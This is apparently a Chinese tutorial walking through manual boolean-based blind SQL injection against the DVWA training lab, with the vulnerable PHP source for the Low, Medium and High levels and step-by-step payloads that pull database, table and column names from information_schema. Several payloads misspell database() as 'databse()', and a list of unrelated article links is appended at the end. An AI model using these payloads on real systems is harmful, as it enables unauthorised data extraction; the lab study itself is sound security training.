手工盲注:手工盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,手工盲注步骤:1.判断是否存在注入,注入是字符型还是数字型;2.猜解当前数据库名;3.猜解数据库中表名;4.猜解表中的字段名;5.猜解数据.

Low安全级别源代码:

if( isset( $_GET[ 'Submit' ] ) ) {

// Get input

$id = $_GET[ 'id' ];

// Check database

$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

// Get results

$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors

if( $num > 0 ) {

// Feedback for end user

echo '

User ID exists in the database.

';

}

else {

// User wasn't found, so the page wasn't!

header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user

echo '

User ID is MISSING from the database.

';

}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

}注:可以看到Low级别代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,User ID exists in the database.与User ID is MISSING from the database.因此这里是SQL盲注漏洞。

1.判断是否存在注入,注入是字符型还是数字型

输入1,显示相应用户存在:

图片发自简书App

输入1’ and 1=1 #,显示存在:

图片发自简书App

输入1’ and 1=2 #,显示不存在:

图片发自简书App

说明存在字符型SQL盲注!

2.猜解当前数据库名

想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符,输入:1’ and length(database())=1 #,显示不存在;输入1’ and length(database())=2 #,显示不存在;输入1’ and length(database())=3 #,显示不存在;输入1’ and length(database())=4 #,显示存在,说明数据库名长度为4.

3.采用二分法猜解数据库名:输入:1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d,重复上述步骤,就可以猜解出完整的数据库名.

4.猜解数据库中的表名:

首先猜解数据库中表的数量:

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

说明数据库中共有两个表.

接着挨个猜解表名:

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

说明第一个表名长度为9.

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的名字的第一个字符为小写字母g,重复上述步骤,即可猜解出两个表名(guestbook、users)

5.猜解表中的字段名:

首先猜解表中字段的数量:

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在…

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在

说明users表有8个字段.

接着挨个猜解字段名:

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在

说明users表的第一个字段为7个字符长度。

采用二分法,即可猜解出所有字段名.

6.猜解数据,同样采用二分法:

Medium安全级别源代码:

if( isset( $_POST[ 'Submit' ] ) ) {

// Get input

$id = $_POST[ 'id' ];

$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database

$getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

// Get results

$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors

if( $num > 0 ) {

// Feedback for end user

echo '

User ID exists in the database.

';

}

else {

// Feedback for end user

echo '

User ID is MISSING from the database.

';

}

//mysql_close();

}注:可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数.

7.基于布尔的盲注:

抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制)显示存在,说明uers表有8个字段.

High安全级别源代码:

if( isset( $_COOKIE[ 'id' ] ) ) {

// Get input

$id = $_COOKIE[ 'id' ];

// Check database

$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

// Get results

$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors

if( $num > 0 ) {

// Feedback for end user

echo '

User ID exists in the database.

';

}

else {

// Might sleep a random amount

if( rand( 0, 5 ) == 3 ) {

sleep( rand( 2, 4 ) );

}

// User wasn't found, so the page wasn't!

header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user

echo '

User ID is MISSING from the database.

';

}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

}注:可以看到High级别代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。

抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273为users的16进制)显示存在,说明uers表有8个字段.

kali linux扫描sql注入,Kali Linux系统利用DVWA靶场进测试SQL注入漏洞:相关推荐

  1. 在u盘运行linux系统软件,主编帮你xp系统利用U盘直接运行Linux软件 的步骤【图】...

    然而并是不所有的朋友都会解决xp系统利用U盘直接运行Linux软件 的问题,于是就向我咨询就没有具体的办法来解决xp系统利用U盘直接运行Linux软件 的问题,那么今天我就给大家整理了xp系统利用U盘 ...

  2. linux扫描文本含有密码,Linux基础命令常用

    允许非root用户使用"sudo" root身份登录系统,执行"visudo",根据示例添加新的一个规则(记住输入的密码是当前用户密码,而不是root密码) # ...

  3. DVWA靶场通关(SQL注入)

    SQL Injection(SQL注入)概念 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意 ...

  4. DVWA靶场环境搭建_SQL注入模拟靶机

    今天讲DVWA的两个重要方面:DVWA靶场环境搭建以及SQL注入模拟靶机 DVWA介绍:在近些年网络安全的高速发展中,初学者已经很难找到一个网站进行渗透了,曾几何时,一个漏洞,一个工具就可以在网上找到 ...

  5. linux 扫描 hba卡磁盘,Linux下更换HBA卡重新扫盘

    Linux 主机上外接FC存储时,一般都会在主机上加装HBA卡,HBA卡通过WWN号连接光纤交换机或直接存储.如果HBA卡出问题需要更换时,WWN号相应的也会改变,中间的这个纽带相当于断了,就无法正常 ...

  6. linux扫描磁盘变化命令,Linux quotacheck命令:扫描文件系统并建立Quota记录文件

    其实,磁盘配额(Quota)就是通过分析整个文件系统中每个用户和群组拥有的文件总数和总容量,再将这些数据记录在文件系统中的最顶层目录中,然后在此记录文件中使用各个用户和群组的配额限制值去规范磁盘使用量 ...

  7. 制作kali linux u盘,用 Kali Linux 创建U盘随身系统

    之前,想通过 Linux 上的 hdparm 命令,擦除降速了的 SanDisk CZ80,然而装在 VirtualBox 里的 Linux 是没法对宿主机的 USB 设备进行 ATA Secure ...

  8. kali linux扫描wifi

    转自: https://www.cnblogs.com/daoyi/p/Kali-Linux-shi-yongAircrack-po-jiewifi-mi-ma-wpawp.html Kali Lin ...

  9. kali linux 2019教程,[教程]KALI LINUX 2.0 2019 更新国内源

    2019年最新版本KALI 为 KALI 2019.1 下载地址:https://www.kali.org/downloads/ 有的新入门的朋友可能会问,为什么每次都无法手动更新 例如:Update ...

最新文章

  1. echarts导入mysql数据库_Echarts最新:Django中从mysql数据库中获取数据传到echarts方式_爱安网 LoveAn.com...
  2. Struts详细用法
  3. linux ssh连接交换机_java通过ssh协议管理交换机,linux
  4. C++知识点18——使用C++标准库(vector的增长与迭代器失效)
  5. 抖音出现大量“三岁用户”,马化腾李彦宏都被还童
  6. javascript正则表达式验证密码(必须含数字字符特殊符号,长度4-16位之间)
  7. 批量调整word表格根据窗口调整内容
  8. 网上借鉴及自己对git的认知(很早就写了,一直没有上传,如有误解,请指出)...
  9. CVPR 2020 | 基于知识蒸馏的分块监督NAS
  10. 银河麒麟-麒麟软件操作系统 kylin 搭建yum源 ubuntu搭建yum源 yum软件仓库搭建ftp源、python源、硬盘源
  11. Eureka/Zookeeper/Consul三种注册中心的区别
  12. 云算子矩阵计算机,《CASIOfx-5800P矩阵编程计算器测量程序集锦梁宝禄.pdf》-支持高清全文免费浏览-max文档...
  13. 计算机实验室建设论证报告,计算机实验室实习报告-报告.doc
  14. 什么是冲激函数、时域卷积、冲激响应以及频响曲线
  15. 方格稿纸(二维前缀和)
  16. php 判断是否汉字
  17. 网络知识 ACL NAT IPv6
  18. STM32F103系列GPIO的一些基本概念和知识
  19. 【LINUX】LAMP概念与搭建
  20. 区间问题,Huffman树,排序不等式,绝对值不等式,推公式

热门文章

  1. Lora模块距离测试-新大陆物联网竞赛-物联网Lora开发
  2. yolov5使用中文标签的问题
  3. ChatGPT如何写作-chatGpt自动写文章
  4. VMware 虚拟机安装 Win 10 系统、网络连接方式介绍
  5. 法宣在线积分小程序获取积分数以源码python技巧
  6. 【Python】安装autopep8包,并在PyCharm中进行配置,以PEP8规范排版代码
  7. ORACLE 的SCHEDULER创建JOB
  8. 重庆理工大学计算机类分流,重庆理工大学2020级按类招生专业分流方案
  9. [转]关于I2C和SPI总线协议的优缺点
  10. lamp兄弟连linux学习笔记-linux常用命令大全(思维导图)